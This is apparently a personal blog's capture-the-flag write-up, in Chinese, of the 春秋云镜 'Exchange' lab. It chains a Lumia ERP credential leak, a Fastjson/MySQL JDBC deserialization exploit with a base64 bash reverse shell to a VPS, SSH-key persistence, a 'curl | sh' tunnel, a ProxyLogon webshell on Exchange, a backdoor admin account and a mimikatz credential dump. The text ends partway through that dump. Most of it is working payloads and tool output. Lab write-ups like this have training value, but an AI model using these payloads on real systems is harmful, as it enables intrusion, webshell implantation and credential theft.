春秋云镜-Exchange – R1ftの折腾日记

靶场介绍

./fscan_mac_arm64 -h 39.101.142.120 -p 1-65535

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
39.101.142.120:22 open
39.101.142.120:80 open
39.101.142.120:8000 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.101.142.120     code:200 len:19813  title:lumia
[*] WebTitle http://39.101.142.120:8000 code:302 len:0      title:None 跳转url: http://39.101.142.120:8000/login.html
[*] WebTitle http://39.101.142.120:8000/login.html code:200 len:5662   title:Lumia ERP

第一台：39.101.142.120:8000/172.22.3.12

华夏erp

8000端口有一个华夏erp

Lumia ERPV2.3版本 搜索该版本的nady

1.账号密码泄漏：CNVD-2020-63964

参考链接https://blog.csdn.net/nnn2188185/article/details/131255194

/jshERP-boot/user/getAllList;.ico

不过该靶场接口有些许差异，泄漏信息的接口是

/user/getAllList;.ico

拿到加密后的管理员的密码

e10adc3949ba59abbe56e057f20f883e

解密后的明文是

admin/123456登陆后台

华夏ERPv2.3版本后台存在一个fastjson的漏洞

2.fastjson（JDBC反序列化）

https://blog.csdn.net/uuzeray/article/details/154398525

/user/list?search= 接口有fastjson反序列化漏洞

urldns链先探测一边

/user/list?search={"@type":"java.net.Inet4Address","val":"dns地址"}
&currentPage=1&pageSize=15

search参数的值需要进行url编码

/user/list?search=%7b%22%40%74%79%70%65%22%3a%22%6a%61%76%61%2e%6e%65%74%2e%49%6e%65%74%34%41%64%64%72%65%73%73%22%2c%22%76%61%6c%22%3a%22%70%79%34%71%70%75%2e%64%6e%73%6c%6f%67%2e%63%6e%22%7d
&currentPage=1&pageSize=15

接收到了请求

探测fastjson版本，fastjson<=1.2.68可以用下方Payload判断：

[
    {
        "@type": "java.lang.AutoCloseable",
        "@type": "java.io.ByteArrayOutputStream"
    },
    {
        "@type": "java.io.ByteArrayOutputStream"
    },
    {
        "@type": "java.net.InetSocketAddress",
        "address": null,
        "val": "dnslog地址"
    }
]

有回显，确定fastjson<=1.2.68

vps上传JDBC反序列化工具https://github.com/fnmsd/MySQL_Fake_Server

把Ysoserial下载放到MySQL_Fake_Server目录中：https://github.com/frohoff/ysoserial/releases

编辑config.json：

ysoserialPath地址填写你上传的Ysoserial地址，CC利用链选CC6，后面编写反弹shell命令

{
    "config": {
        "ysoserialPath": "ysoserial-all.jar",
        "javaBinPath": "java",
        "fileOutputDir": "./fileOutput/",
        "displayFileContentOnScreen": true,
        "saveToFile": true
    },
    "fileread": {
        "win_ini": "c:\\windows\\win.ini",
        "win_hosts": "c:\\windows\\system32\\drivers\\etc\\hosts",
        "win": "c:\\windows\\",
        "linux_passwd": "/etc/passwd",
        "linux_hosts": "/etc/hosts",
        "index_php": "index.php",
        "ssrf": "https://www.baidu.com/",
        "__defaultFiles": [
            "/etc/hosts",
            "c:\\windows\\system32\\drivers\\etc\\hosts"
        ]
    },
    "yso": {
        "Jdk7u21": [
            "Jdk7u21",
            "calc"
        ],
        "CommonsCollections6": [
            "CommonsCollections6",
            "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNpcC84MDA5IDA+JjEK}|{base64,-d}|{bash,-i}"
        ]
    }
}

启动MySQL_Fake_Server：

python3 server.py

jdbc反序列化原理：恶意JSON → Fastjson解析 → 触发JDBC连接 → 恶意MySQL服务器 → 返回恶意数据 → 反序列化RCE

想目标靶机发送以下payload，Fastjson反序列化配合MySQL JDBC反序列化利用链**

{
    "name": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.mysql.jdbc.JDBC4Connection",
        "hostToConnectTo": "vps的ip",
        "portToConnectTo": 3306,
        "info": {
            "user": "CommonsCollections6",
            "password": "pas",
            "detectCustomCollations": "true",
            "autoDeserialize": "true",
            "NUM_HOSTS": "1"
        },
        "databaseToConnectTo": "dbname",
        "url": ""
    }
}

解释一下payload

"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection"

Fastjson的AutoType机制
作用：告诉Fastjson反序列化时实例化 com.mysql.jdbc.JDBC4Connection 这个类
原理：Fastjson的AutoType功能允许通过@type指定任意类进行实例化
为什么可以链式写两个@type：这是一种绕过技巧，第一个AutoCloseable是接口，第二个才是实际类

"hostToConnectTo": "vps的ip",
"portToConnectTo": 3306,
"databaseToConnectTo": "dbname"

JDBC连接参数
作用：指定恶意MySQL服务器的地址和端口，这些参数会被JDBC4Connection类的构造方法使用，尝试建立JDBC连接

"info": {
    "user": "CommonsCollections6",      // 触发Gadget的用户名
    "autoDeserialize": "true",           // ⚠️ 关键：启用自动反序列化
    "detectCustomCollations": "true",    // 允许自定义字符集
    "NUM_HOSTS": "1"                     // 指定单主机模式
}

autoDeserialize=true:启用JDBC驱动的自动反序列化功能
detectCustomCollations=true:允许从服务器加载自定义字符集映射
user: "CommonsCollections6":告诉恶意服务器要使用哪个反序列化链
NUM_HOSTS=1:指定单主机模式，简化连接

攻击流程：

恶意MySQL服务器 ← 受害者请求连接
        ↓
返回包含 ysoserial CommonsCollections6 Payload 的序列化的恶意数据包
        ↓
受害者JDBC驱动反序列化
        ↓
执行任意命令（反弹shell、添加用户等）

攻击的payload参数search需要把特殊字符编码

/user/list?search=%7B%0A%20%20%20%20%22name%22:%20%7B%0A%20%20%20%20%20%20%20%20%22@type%22:%20%22java.lang.AutoCloseable%22%2C%0A%20%20%20%20%20%20%20%20%22@type%22:%20%22com.mysql.jdbc.JDBC4Connection%22%2C%0A%20%20%20%20%20%20%20%20%22hostToConnectTo%22:%20%22vps的ip%22%2C%0A%20%20%20%20%20%20%20%20%22portToConnectTo%22:%203306%2C%0A%20%20%20%20%20%20%20%20%22info%22:%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%22user%22:%20%22CommonsCollections6%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%22password%22:%20%22pas%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%22detectCustomCollations%22:%20%22true%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%22autoDeserialize%22:%20%22true%22%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%22NUM_HOSTS%22:%20%221%22%0A%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%22databaseToConnectTo%22:%20%22dbname%22%2C%0A%20%20%20%20%20%20%20%20%22url%22:%20%22%22%0A%20%20%20%20%7D%0A%7D

vps监听

nc -lvvp 8009

反弹shell拿下flag

root@iZ8vbijui8g7ceitgjiot9Z:/root/flag# cat flag01.txt
cat flag01.txt
 ██     ██ ██     ██       ███████   ███████       ██     ████     ██   ████████ 
░░██   ██ ░██    ████     ██░░░░░██ ░██░░░░██     ████   ░██░██   ░██  ██░░░░░░██
 ░░██ ██  ░██   ██░░██   ██     ░░██░██   ░██    ██░░██  ░██░░██  ░██ ██      ░░ 
  ░░███   ░██  ██  ░░██ ░██      ░██░███████    ██  ░░██ ░██ ░░██ ░██░██         
   ██░██  ░██ ██████████░██      ░██░██░░░██   ██████████░██  ░░██░██░██    █████
  ██ ░░██ ░██░██░░░░░░██░░██     ██ ░██  ░░██ ░██░░░░░░██░██   ░░████░░██  ░░░░██
 ██   ░░██░██░██     ░██ ░░███████  ░██   ░░██░██     ░██░██    ░░███ ░░████████ 
░░     ░░ ░░ ░░      ░░   ░░░░░░░   ░░     ░░ ░░      ░░ ░░      ░░░   ���░░░░░░░  

                        |  |  ||  | /~~\  /\  |\  /|~|~
                        |  |  ||--||    |/__\ | \/ | | 
                         \/ \/ |  | \__//    \|    |_|_

              flag01: flag{94bc72d7-2eb8-4233-b332-0210dfdabf65}

3.写入ssh公钥权限维持

mkdir -p /root/.ssh
cd  /root/.ssh
chmod 700 /root/.ssh
cd  /root/.ssh
# 将您的公钥追加到 authorized_keys 文件
echo 'xxxxxxx' >> authorized_keys
chmod 600 authorized_keys
cat authorized_keys

内网信息收集

ip a


2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:16:3e:12:19:5d brd ff:ff:ff:ff:ff:ff
    inet 172.22.3.12/16 brd 172.22.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::216:3eff:fe12:195d/64 scope link 
       valid_lft forever preferred_lft forever

另一张网卡172.22.3.12

root@iZ8vbijui8g7ceitgjiot9Z:/tmp# ./fscan_linux_amd -h  172.22.3.12/24 -o 1.txt

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.3.12     is alive
(icmp) Target 172.22.3.2      is alive
(icmp) Target 172.22.3.9      is alive
(icmp) Target 172.22.3.26     is alive
[*] Icmp alive hosts len is: 4
172.22.3.9:80 open
172.22.3.12:80 open
172.22.3.12:22 open
172.22.3.26:445 open
172.22.3.9:445 open
172.22.3.2:445 open
172.22.3.9:443 open
172.22.3.26:139 open
172.22.3.9:139 open
172.22.3.2:139 open
172.22.3.26:135 open
172.22.3.9:135 open
172.22.3.2:135 open
172.22.3.9:81 open
172.22.3.9:8172 open
172.22.3.12:8000 open
172.22.3.9:808 open
172.22.3.2:88 open
[*] alive ports len is: 18
start vulscan
[*] NetInfo 
[*]172.22.3.2
   [->]XIAORANG-WIN16
   [->]172.22.3.2
[*] WebTitle http://172.22.3.12        code:200 len:19813  title:lumia
[*] WebTitle http://172.22.3.12:8000   code:302 len:0      title:None 跳转url: http://172.22.3.12:8000/login.html
[*] OsInfo 172.22.3.2   (Windows Server 2016 Datacenter 14393)
[*] NetInfo 
[*]172.22.3.26
   [->]XIAORANG-PC
   [->]172.22.3.26
[*] NetInfo 
[*]172.22.3.9
   [->]XIAORANG-EXC01
   [->]172.22.3.9
[*] NetBios 172.22.3.26     XIAORANG\XIAORANG-PC          
[*] NetBios 172.22.3.2      [+] DC:XIAORANG-WIN16.xiaorang.lab      Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.3.12:8000/login.html code:200 len:5662   title:Lumia ERP
[*] NetBios 172.22.3.9      XIAORANG-EXC01.xiaorang.lab         Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.3.9:81      code:403 len:1157   title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle https://172.22.3.9:8172   code:404 len:0      title:None
[*] WebTitle http://172.22.3.9         code:403 len:0      title:None
[*] WebTitle https://172.22.3.9        code:302 len:0      title:None 跳转url: https://172.22.3.9/owa/
[*] WebTitle https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0 code:200 len:28237  title:Outlook

IP	操作系统	主机名/NetBIOS	开放端口	Web服务详情
172.22.3.2	Windows Server 2016 Datacenter	XIAORANG-WIN16 (DC: XIAORANG-WIN16.xiaorang.lab)	445, 139, 135, 88	开启了88端口，一般是域控
172.22.3.9	Windows Server 2016 Datacenter	XIAORANG-EXC01.xiaorang.lab	80, 445, 443, 139, 135, 81, 8172, 808	• http://172.22.3.9 → 403 • https://172.22.3.9 → 302 跳转 /owa/ • http://172.22.3.9:81 → 403 (禁止访问) • https://172.22.3.9:8172 → 404 • https://172.22.3.9/owa/auth/logon.aspx → 200 (Outlook OWA登录页)
172.22.3.12	Linux (推测)	–	80, 22, 8000	• http://172.22.3.12 → 200 (标题: lumia) • http://172.22.3.12:8000 → 302 跳转 /login.html • http://172.22.3.12:8000/login.html → 200 (标题: Lumia ERP)
172.22.3.26	Windows	XIAORANG\XIAORANG-PC	445, 139, 135	–

第二台172.22.3.9

隧道搭建

这个代理工具好使：https://github.com/datouo/FastProxy用来专门打靶场，搭建一层隧道的

使用方法：

攻击机
 python3 app.py  vps的ip 12345
[+] curl http://vps的ip:12345/hack -s | sh &
 * Serving Flask app 'app'
 * Debug mode: off
[+] frps running on vps的ip:34043
[+] proxy: socks vps的ip:55223 admin password
nohup: appending output to 'nohup.out'

靶机：curl http://vps的ip:12345/hack -s | sh &

代理通道搭好了，配置以下代理即可

socks vps的ip:55223 admin password

Exchange服务-ProxyLogon

其中内网172.22.3.9存在Exchange服务

https://172.22.3.9/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2f172.22.3.9%2fowa

针对Exchange服务，最好用的还是ProxyLogon

攻击原理：利用 SSRF 伪造身份 (CVE-2021-26855)，Exchange 前端在处理某些请求时，会错误地信任请求中由攻击者控制的 X-BEResource Cookie 头。攻击者精心构造该 Cookie 的值，即可让服务器误以为该请求是由合法的后端服务器发起的，从而冒充任何用户（包括管理员），取得高级别权限；在获得伪造的“高权限身份”后，攻击者利用 CVE-2021-27065 可以在服务器的某个路径下，写入一个内容为恶意脚本的文件（通常是.aspx 的 WebShell）

ProxyLogon 全漏洞链 POC：https://github.com/herwonowr/exprolog

└─# proxychains4 -q python3 exprolog.py -t 172.22.3.9 -e administrator@xiaorang.lab 
 _____      ____            _             
| ____|_  _|  _ \ _ __ ___ | | ___   __ _ 
|  _| \ \/ / |_) | '__/ _ \| |/ _ \ / _` |
| |___ >  <|  __/| | | (_) | | (_) | (_| |
|_____/_/\_\_|   |_|  \___/|_|\___/ \__, |
                                    |___/ 

[#] Trying to get target FQDN
[+] Got target FQDN: XIAORANG-EXC01
[#] Trying to get target LegacyDN and ServerID
[+] Got target LegacyDN: /o=XIAORANG LAB/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=8ca6ff254802459d9f63ee916eabb487-Administrat
[+] Got target ServerID: b5ebdaa1-b4b3-4b71-ab32-7d03b4955a75
[#] Trying to get target user SID
[+] Got target administrator SID: S-1-5-21-533686307-2117412543-4200729784-500
[#] Trying to get target administrator cookie sessions
[+] Got target administrator session ID: d4cec50c-74ea-492c-ba4c-935b167798ab
[+] Got target administrator canary session ID: 5U4VPUd3TkWakcnyx31tgQpP6nAKxt4ITO0hJH33hkjuHhfSV3pJazNZH38EPXcEFv_ElI8z3wQ.
[#] Trying to get target OABVirtualDirectory ID
[+] Got target AOB ID: d2d75999-84d5-4139-8f38-3156a899dabf
[#] Trying to inject OABVirtualDirectory Shell
[+] Shell are injected
[#] Verifying OABVirtualDirectory Shell
[+] AOB Shell verified
[+] AOB Shell payload: http:\/\/ooo\/#%3Cscript%20language=%22JScript%22%20runat=%22server%22%3Efunction%20Page_Load()%7Beval(Request%5B%22request%22%5D,%22unsafe%22);%7D%3C\/script%3E
[#] Trying to export OABVirtualDirectory Shell
[+] Shell are exported
[*] CURL Request: 
curl --request POST --url https://172.22.3.9/owa/auth/fl1dw.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami /all").stdout.readall())' -k
[*] DONE

成功注入了 WebShell，webshell使用示例：

└─# proxychains4 -q  curl --request POST --url https://172.22.3.9/owa/auth/fl1dw.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami /all").stdout.readall())' -k

用户信息
----------------

用户名              SID     
=================== ========
nt authority\system S-1-5-18


组信息
-----------------

组名                                   类型   SID                                                            属性                            
====================================== ====== ============================================================== ================================
Mandatory Label\System Mandatory Level 标签   S-1-16-16384                                                                                   
Everyone                               已知组 S-1-1-0                                                        必需的组, 启用于默认, 启用的组  
BUILTIN\Users                          别名   S-1-5-32-545                                                   必需的组, 启用于默认, 启用的组  
NT AUTHORITY\SERVICE                   已知组 S-1-5-6                                                        必需的组, 启用于默认, 启用的组  
CONSOLE LOGON                          已知组 S-1-2-1                                                        必需的组, 启用于默认, 启用的组  
NT AUTHORITY\Authenticated Users       已知组 S-1-5-11                                                       必需的组, 启用于默认, 启用的组  
NT AUTHORITY\This Organization         已知组 S-1-5-15                                                       必需的组, 启用于默认, 启用的组  
BUILTIN\IIS_IUSRS                      别名   S-1-5-32-568                                                   必需的组, 启用于默认, 启用的组  
LOCAL                                  已知组 S-1-2-0                                                        必需的组, 启用于默认, 启用的组  
IIS APPPOOL\MSExchangeOWAAppPool       已知组 S-1-5-82-152498943-3243790313-2919704386-3842957549-2616840987 必需的组, 启用于默认, 启用的组  
BUILTIN\Administrators                 别名   S-1-5-32-544                                                   启用于默认, 启用的组, 组的所有者


特权信息
----------------------

特权名                        描述                 状态  
============================= ==================== ======
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌   已禁用
SeIncreaseQuotaPrivilege      为进程调整内存配额   已禁用
SeAuditPrivilege              生成安全审核         已启用
SeChangeNotifyPrivilege       绕过遍历检查         已启用
SeImpersonatePrivilege        身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege       创建全局对象         已启用


用户声明信息
-----------------------

用户声明未知。

已在此设备上禁用对动态访问控制的 Kerberos 支持。
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             : 
RequireSSL                      : True
BasicAuthentication             : False
WindowsAuthentication           : True
OAuthAuthentication             : False
MetabasePath                    : IIS://XIAORANG-EXC01.xiaorang.lab/W3SVC/1/ROOT/OAB
Path                            : C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\OAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         : 
ExtendedProtectionSPNList       : 
AdminDisplayVersion             : Version 15.1 (Build 1591.10)
Server                          : XIAORANG-EXC01
InternalUrl                     : https://xiaorang-exc01.xiaorang.lab/OAB
InternalAuthenticationMethods   : WindowsIntegrated
ExternalUrl                     : http://ooo/#
ExternalAuthenticationMethods   : WindowsIntegrated
AdminDisplayName                : 
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName               : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=XIAORANG-EXC01,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=XIAORANG LAB,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=xiaorang,DC=lab
Identity                        : XIAORANG-EXC01\OAB (Default Web Site)
Guid                            : d2d75999-84d5-4139-8f38-3156a899dabf
ObjectCategory                  : xiaorang.lab/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                  msExchVirtualDirectory
                                  msExchOABVirtualDirectory
WhenChanged                     : 2026/6/7 17:35:29
WhenCreated                     : 2026/6/7 17:34:30
WhenChangedUTC                  : 2026/6/7 9:35:29
WhenCreatedUTC                  : 2026/6/7 9:34:30
OrganizationId                  : 
Id                              : XIAORANG-EXC01\OAB (Default Web Site)
OriginatingServer               : XIAORANG-WIN16.xiaorang.lab
IsValid                         : True

拿到system权限

可以启用交互式shell

proxychains4 -q python3 exprolog.py -t 172.22.3.9 -e administrator@xiaorang.lab -i

添加rdp用户，添加到管理员组

net user test1 pass@123 /add
net localgroup administrators test1 /add

rdp上去拿flag

flag在

C:\Users\Administrator.XIAORANG\flag\flag02.txt

Yb  dP 88    db     dP"Yb  88""Yb    db    88b 88  dP""b8 
 YbdP  88   dPYb   dP   Yb 88__dP   dPYb   88Yb88 dP   `" 
 dPYb  88  dP__Yb  Yb   dP 88"Yb   dP__Yb  88 Y88 Yb  "88 
dP  Yb 88 dP""""Yb  YbodP  88  Yb dP""""Yb 88  Y8  YboodP 


    / /                                        
   / /                  _   __     ( )  ___    
  / /        //   / / // ) )  ) ) / / //   ) ) 
 / /        //   / / // / /  / / / / //   / /  
/ /____/ / ((___( ( // / /  / / / / ((___( (   



flag02: flag{357b8ffe-5d8d-470f-8e88-6faa679cb1e7}

第三台：172.22.3.2

域内信息收集

由于 test1 是目标机器 172.22.3.9 的本地管理员，运行的 privilege::debug 命令成功获取了调试权限，这使得 sekurlsa::logonpasswords 可以读取到加载在内存中的、来自不同会话和用户的明文密码（如果启用WDigest）、NTLM哈希、Kerberos票据等。想用mimikatz信息收集，起码权限都是本地管理员权限

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt


  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 14287680 (00000000:00da0340)
Session           : RemoteInteractive from 3
User Name         : test1
Domain            : XIAORANG-EXC01
Logon Server      : XIAORANG-EXC01
Logon Time        : 2026/6/7 17:41:51
SID               : S-1-5-21-804691931-3750513266-524628342-1000
	msv :	
	 [00000003] Primary
	 * Username : test1
	 * Domain   : XIAORANG-EXC01
	 * NTLM     : 51a52c415264a8fc31520f66f2f50459
	 * SHA1     : fd8d24d6cc3b3cb3980fc67a4e83a3023af0c508
	tspkg :	
	wdigest :	
	 * Username : test1
	 * Domain   : XIAORANG-EXC01
	 * Password : (null)
	kerberos :	
	 * Username : test1
	 * Domain   : XIAORANG-EXC01
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 9235920 (00000000:008cedd0)
Session           : NetworkCleartext from 0
User Name         : HealthMailbox0d5918e
Domain            : XIAORANG
Logon Server      : XIAORANG-WIN16
Logon Time        : 2026/6/7 15:47:41
SID               : S-1-5-21-533686307-2117412543-4200729784-1136
	msv :	
	 [00000003] Primary
	 * Username : HealthMailbox0d5918e
	 * Domain   : XIAORANG
	 * NTLM     : d826c61453ba38b541914081bed08574
	 * SHA1     : 3813865c210e47556f8064601764641a9f2e24e4
	 * DPAPI    : 7a27ede8668ea6151ef0c717bfdd9030
	tspkg :	
	wdigest :	
	 * Username : HealthMailbox0d5918e
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : HealthMailbox0d5918e
	 * Domain   : XIAORANG.LAB
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 9224727 (00000000:008cc217)
Session           : NetworkCleartext from 0
User Name         : HealthMailbox0d5918e
Domain            : XIAORANG
Logon Server      : XIAORANG-WIN16
Logon Time        : 2026/6/7 15:47:22
SID               : S-1-5-21-533686307-2117412543-4200729784-1136
	msv :	
	 [00000003] Primary
	 * Username : HealthMailbox0d5918e
	 * Domain   : XIAORANG
	 * NTLM     : d826c61453ba38b541914081bed08574
	 * SHA1     : 3813865c210e47556f8064601764641a9f2e24e4
	 * DPAPI    : 7a27ede8668ea6151ef0c717bfdd9030
	tspkg :	
	wdigest :	
	 * Username : HealthMailbox0d5918e
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : HealthMailbox0d5918e
	 * Domain   : XIAORANG.LAB
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 2158239 (00000000:0020ee9f)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/6/7 15:08:08
SID               : S-1-5-90-0-2
	msv :	
	 [00000003] Primary
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * NTLM     : b73cc848feee559386b99bd85fed7e20
	 * SHA1     : d5d68e8fe01b3e127d155fd5ff8c1a45a2f89f49
	tspkg :	
	wdigest :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : xiaorang.lab
	 * Password : e0 77 2e b1 ae 05 fb 5c f4 35 a4 55 d9 fe ee c4 0f ff 84 fc ac e1 61 25 d3 7a 6d 32 9e 94 e0 58 2e 56 86 92 ae 8a 9f 70 2f 43 ff 41 67 bb fa e5 98 6a aa c3 58 10 ac 78 00 b0 9c 7a 7e d2 30 f3 1a 5c cb cd fd 91 b8 bd a6 1f 3c 0a 50 b2 af 45 00 4d 0c 39 07 b6 11 bd 99 43 29 18 b5 be 4d 16 69 1a 42 cb 63 ed 99 5c 67 9f 80 9b 1b 34 09 29 04 8f f4 2c a1 d0 a7 9c e8 5e c3 36 02 fa 3f 55 32 c2 0e 42 d8 62 dc 3e 00 ed 8b c1 8b 0e 76 f8 db ba 2d 15 79 a1 b8 b2 66 32 35 51 37 84 67 cf 19 ca 26 74 43 dd e4 4f 4a 40 3f e9 03 9f 57 a5 fc b4 8a 98 a4 a5 16 c6 d6 b1 8c f7 46 13 31 00 a0 f4 f2 ad 93 2a ff fa 7d c4 a9 39 ba bc 2d d6 ea 38 22 68 7c 16 59 ef f4 53 9c 60 5f 8e e9 0e e7 bc 22 1a 37 df 9c 48 6d 9d fc 39 f4 6e ce f2 
	ssp :	
	credman :	

Authentication Id : 0 ; 2158219 (00000000:0020ee8b)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/6/7 15:08:08
SID               : S-1-5-90-0-2
	msv :	
	 [00000003] Primary
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * NTLM     : b73cc848feee559386b99bd85fed7e20
	 * SHA1     : d5d68e8fe01b3e127d155fd5ff8c1a45a2f89f49
	tspkg :	
	wdigest :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : xiaorang.lab
	 * Password : e0 77 2e b1 ae 05 fb 5c f4 35 a4 55 d9 fe ee c4 0f ff 84 fc ac e1 61 25 d3 7a 6d 32 9e 94 e0 58 2e 56 86 92 ae 8a 9f 70 2f 43 ff 41 67 bb fa e5 98 6a aa c3 58 10 ac 78 00 b0 9c 7a 7e d2 30 f3 1a 5c cb cd fd 91 b8 bd a6 1f 3c 0a 50 b2 af 45 00 4d 0c 39 07 b6 11 bd 99 43 29 18 b5 be 4d 16 69 1a 42 cb 63 ed 99 5c 67 9f 80 9b 1b 34 09 29 04 8f f4 2c a1 d0 a7 9c e8 5e c3 36 02 fa 3f 55 32 c2 0e 42 d8 62 dc 3e 00 ed 8b c1 8b 0e 76 f8 db ba 2d 15 79 a1 b8 b2 66 32 35 51 37 84 67 cf 19 ca 26 74 43 dd e4 4f 4a 40 3f e9 03 9f 57 a5 fc b4 8a 98 a4 a5 16 c6 d6 b1 8c f7 46 13 31 00 a0 f4 f2 ad 93 2a ff fa 7d c4 a9 39 ba bc 2d d6 ea 38 22 68 7c 16 59 ef f4 53 9c 60 5f 8e e9 0e e7 bc 22 1a 37 df 9c 48 6d 9d fc 39 f4 6e ce f2 
	ssp :	
	credman :	

Authentication Id : 0 ; 103046 (00000000:00019286)
Session           : Service from 0
User Name         : Zhangtong
Domain            : XIAORANG
Logon Server      : XIAORANG-WIN16
Logon Time        : 2026/6/7 15:06:30
SID               : S-1-5-21-533686307-2117412543-4200729784-1147
	msv :	
	 [00000003] Primary
	 * Username : Zhangtong
	 * Domain   : XIAORANG
	 * NTLM     : 22c7f81993e96ac83ac2f3f1903de8b4
	 * SHA1     : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
	 * DPAPI    : ed14c3c4ef895b1d11b04fb4e56bb83b
	tspkg :	
	wdigest :	
	 * Username : Zhangtong
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : Zhangtong
	 * Domain   : XIAORANG.LAB
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 65612 (00000000:0001004c)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/6/7 15:06:29
SID               : S-1-5-90-0-1
	msv :	
	 [00000003] Primary
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * NTLM     : b73cc848feee559386b99bd85fed7e20
	 * SHA1     : d5d68e8fe01b3e127d155fd5ff8c1a45a2f89f49
	tspkg :	
	wdigest :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : xiaorang.lab
	 * Password : e0 77 2e b1 ae 05 fb 5c f4 35 a4 55 d9 fe ee c4 0f ff 84 fc ac e1 61 25 d3 7a 6d 32 9e 94 e0 58 2e 56 86 92 ae 8a 9f 70 2f 43 ff 41 67 bb fa e5 98 6a aa c3 58 10 ac 78 00 b0 9c 7a 7e d2 30 f3 1a 5c cb cd fd 91 b8 bd a6 1f 3c 0a 50 b2 af 45 00 4d 0c 39 07 b6 11 bd 99 43 29 18 b5 be 4d 16 69 1a 42 cb 63 ed 99 5c 67 9f 80 9b 1b 34 09 29 04 8f f4 2c a1 d0 a7 9c e8 5e c3 36 02 fa 3f 55 32 c2 0e 42 d8 62 dc 3e 00 ed 8b c1 8b 0e 76 f8 db ba 2d 15 79 a1 b8 b2 66 32 35 51 37 84 67 cf 19 ca 26 74 43 dd e4 4f 4a 40 3f e9 03 9f 57 a5 fc b4 8a 98 a4 a5 16 c6 d6 b1 8c f7 46 13 31 00 a0 f4 f2 ad 93 2a ff fa 7d c4 a9 39 ba bc 2d d6 ea 38 22 68 7c 16 59 ef f4 53 9c 60 5f 8e e9 0e e7 bc 22 1a 37 df 9c 48 6d 9d fc 39 f4 6e ce f2 
	ssp :	
	credman :	

Authentication Id : 0 ; 14280789 (00000000:00d9e855)
Session           : Interactive from 3
User Name         : DWM-3
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/6/7 17:41:51
